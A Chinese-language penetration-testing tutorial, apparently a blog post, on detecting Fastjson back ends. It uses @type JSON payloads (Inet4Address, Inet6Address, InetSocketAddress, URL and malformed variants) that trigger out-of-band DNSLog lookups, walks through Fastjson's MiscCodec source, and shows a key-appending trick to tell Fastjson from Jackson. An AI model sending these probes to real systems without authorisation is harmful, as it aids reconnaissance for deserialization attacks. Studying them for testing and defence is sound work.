Fastjson探测作用
在渗透测试中遇到json数据一般都会测试下有没有反序列化,然而JSON库有Fastjson,JackJson,Gson等等,那么怎么判断后端不是Fastjson呢?可以构造特定的payload来进行探测分析,下面介绍一些常用的payload,且这些Payload可以在AutoType关闭的情况下进行测试~~~
Fastjson探测方法
方法一:java.net.Inet4Address
请求方式
{\\\"@type\\\":\\\"java.net.Inet4Address\\\",\\\"val\\\":\\\"dnslog\\\"}
DNSLog响应
基础原理分析
Fastjson对于Inet4Address类会使用MiscCodec这个ObjectDeserializer来反序列化:
之后在MiscCodec的deserialze下断点进行调试分析:
之后跟进parse.parser,此处的parser为DefaultJSONParser:
之后跟进解析器:
之后再次跟进去看看字符串如何处理:
之后进行一次字符串的截取:
截取之后,截取到DNSlog域名信息:
之后将objVal赋值给strVal,其值为DNSLog域名
之后会调用GetByName进行一次域名解析:
MiscCodec的deserialze函数代码如下所示:
public <T> T deserialze(DefaultJSONParser parser, Type clazz, Object fieldName) {
JSONLexer lexer = parser.lexer;
String className;
if (clazz == InetSocketAddress.class) {
if (lexer.token() == 8) {
lexer.nextToken();
return null;
} else {
parser.accept(12);
InetAddress address = null;
int port = 0;
while(true) {
className = lexer.stringVal();
lexer.nextToken(17);
if (className.equals(\\\"address\\\")) {
parser.accept(17);
address = (InetAddress)parser.parseObject(InetAddress.class);
} else if (className.equals(\\\"port\\\")) {
parser.accept(17);
if (lexer.token() != 2) {
throw new JSONException(\\\"port is not int\\\");
}
port = lexer.intValue();
lexer.nextToken();
} else {
parser.accept(17);
parser.parse();
}
if (lexer.token() != 16) {
parser.accept(13);
return new InetSocketAddress(address, port);
}
lexer.nextToken();
}
}
} else {
Object objVal;
if (parser.resolveStatus == 2) {
parser.resolveStatus = 0;
parser.accept(16);
if (lexer.token() != 4) {
throw new JSONException(\\\"syntax error\\\");
}
if (!\\\"val\\\".equals(lexer.stringVal())) {
throw new JSONException(\\\"syntax error\\\");
}
lexer.nextToken();
parser.accept(17);
objVal = parser.parse();
parser.accept(13);
} else {
objVal = parser.parse();
}
String strVal;
if (objVal == null) {
strVal = null;
} else {
if (!(objVal instanceof String)) {
if (objVal instanceof JSONObject) {
JSONObject jsonObject = (JSONObject)objVal;
if (clazz == Currency.class) {
String currency = jsonObject.getString(\\\"currency\\\");
if (currency != null) {
return Currency.getInstance(currency);
}
String symbol = jsonObject.getString(\\\"currencyCode\\\");
if (symbol != null) {
return Currency.getInstance(symbol);
}
}
if (clazz == Entry.class) {
return jsonObject.entrySet().iterator().next();
}
return jsonObject.toJavaObject(clazz);
}
throw new JSONException(\\\"expect string\\\");
}
strVal = (String)objVal;
}
if (strVal != null && strVal.length() != 0) {
if (clazz == UUID.class) {
return UUID.fromString(strVal);
} else if (clazz == URI.class) {
return URI.create(strVal);
} else if (clazz == URL.class) {
try {
return new URL(strVal);
} catch (MalformedURLException var10) {
throw new JSONException(\\\"create url error\\\", var10);
}
} else if (clazz == Pattern.class) {
return Pattern.compile(strVal);
} else if (clazz == Locale.class) {
return TypeUtils.toLocale(strVal);
} else if (clazz == SimpleDateFormat.class) {
SimpleDateFormat dateFormat = new SimpleDateFormat(strVal, lexer.getLocale());
dateFormat.setTimeZone(lexer.getTimeZone());
return dateFormat;
} else if (clazz != InetAddress.class && clazz != Inet4Address.class && clazz != Inet6Address.class) {
if (clazz == File.class) {
if (strVal.indexOf(\\\"..\\\") >= 0 && !FILE_RELATIVE_PATH_SUPPORT) {
throw new JSONException(\\\"file relative path not support.\\\");
} else {
return new File(strVal);
}
} else if (clazz == TimeZone.class) {
return TimeZone.getTimeZone(strVal);
} else {
if (clazz instanceof ParameterizedType) {
ParameterizedType parmeterizedType = (ParameterizedType)clazz;
clazz = parmeterizedType.getRawType();
}
if (clazz == Class.class) {
return TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader(), false);
} else if (clazz == Charset.class) {
return Charset.forName(strVal);
} else if (clazz == Currency.class) {
return Currency.getInstance(strVal);
} else if (clazz == JSONPath.class) {
return new JSONPath(strVal);
} else if (!(clazz instanceof Class)) {
throw new JSONException(\\\"MiscCodec not support \\\" + clazz.toString());
} else {
className = ((Class)clazz).getName();
if (className.equals(\\\"java.nio.file.Path\\\")) {
try {
if (method_paths_get == null && !method_paths_get_error) {
Class<?> paths = TypeUtils.loadClass(\\\"java.nio.file.Paths\\\");
method_paths_get = paths.getMethod(\\\"get\\\", String.class, String[].class);
}
if (method_paths_get != null) {
return method_paths_get.invoke((Object)null, strVal, new String[0]);
}
throw new JSONException(\\\"Path deserialize erorr\\\");
} catch (NoSuchMethodException var12) {
method_paths_get_error = true;
} catch (IllegalAccessException var13) {
throw new JSONException(\\\"Path deserialize erorr\\\", var13);
} catch (InvocationTargetException var14) {
throw new JSONException(\\\"Path deserialize erorr\\\", var14);
}
}
throw new JSONException(\\\"MiscCodec not support \\\" + className);
}
}
} else {
try {
return InetAddress.getByName(strVal);
} catch (UnknownHostException var11) {
throw new JSONException(\\\"deserialize inet adress error\\\", var11);
}
}
} else {
return null;
}
}
}
方法二:java.net.Inet6Address
请求方式
{\\\"@type\\\":\\\"java.net.Inet6Address\\\",\\\"val\\\":\\\"dnslog\\\"}
请求测试
DNSLog响应
基础原理分析
java.net.Inet6Address与java.net.Inet4Address类似,使用了MiscCodec这个ObjectDeserializer来反序列化,其余的内容就不再复述了~
方式三:java.net.InetSocketAddress
请求方式
{\\\"@type\\\":\\\"java.net.InetSocketAddress\\\"{\\\"address\\\":,\\\"val\\\":\\\"dnslog\\\"}}
请求测试
DNSLog响应
基础原理分析
java.net.InetSocketAddress与java.net.Inet4Address类似,会使用MiscCodec的ObjectDeserializer来反序列化,由于此处的畸形JSON请求数据在解析时会有两次进入deserialze(这与Fastjson的Token性质有关,从而导致解析的逻辑走向发生变化,有兴趣的可以了解一下)第一次进入是clazz为:java.net.InetJSONParser:
第二次时为java.net.InetAddress:
之后将objVal赋值给strVal:
最后触发DNS解析:
方式四:java.net.URL
请求方式
{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}:\\\"x\\\"}
请求测试
DNSLog响应
其他方式使用示例
畸形方式1
{\\\"@type\\\":\\\"com.alibaba.fastjson.JSONObject\\\", {\\\"@type\\\": \\\"java.net.URL\\\", \\\"val\\\":\\\"http://dnslog\\\"}}\\\"\\\"}
请求测试:
DNSLog响应:
畸形方式2
Set[{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}]
请求方式:
DNSLog响应:
畸形方式3
Set[{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}
请求方式:
DNSLog响应:
畸形方式4
{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"http://dnslog\\\"}:0
请求方式:
DNSLog响应:
畸形方式5
{{\\\"@type\\\":\\\"java.net.URL\\\",\\\"val\\\":\\\"dnslog\\\"}:\\\"aaa\\\"}
请求方式:
DNSLog响应:
Fastjson特性利用
Java 系 Json 处理基本只有 Fastjson 和 Jackson, 由于 Jackson 相对比较严格, 这里可以很好分辨出 Fastjson 和 Jackson,如果请求包中的 json 如下:
{\\\"name\\\":\\\"S\\\", \\\"age\\\":21}
追加一个随机 key ,修改 json 为
{\\\"name\\\":\\\"S\\\", \\\"age\\\":21,\\\"agsbdkjada__ss_d\\\":123}
这里 Fastjson 是不会报错的, Jackson 因为强制 key 与 javabean 属性对齐,只能少不能多 key, 所以会报错,服务器的响应包中多少会有异常回显~
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34142.html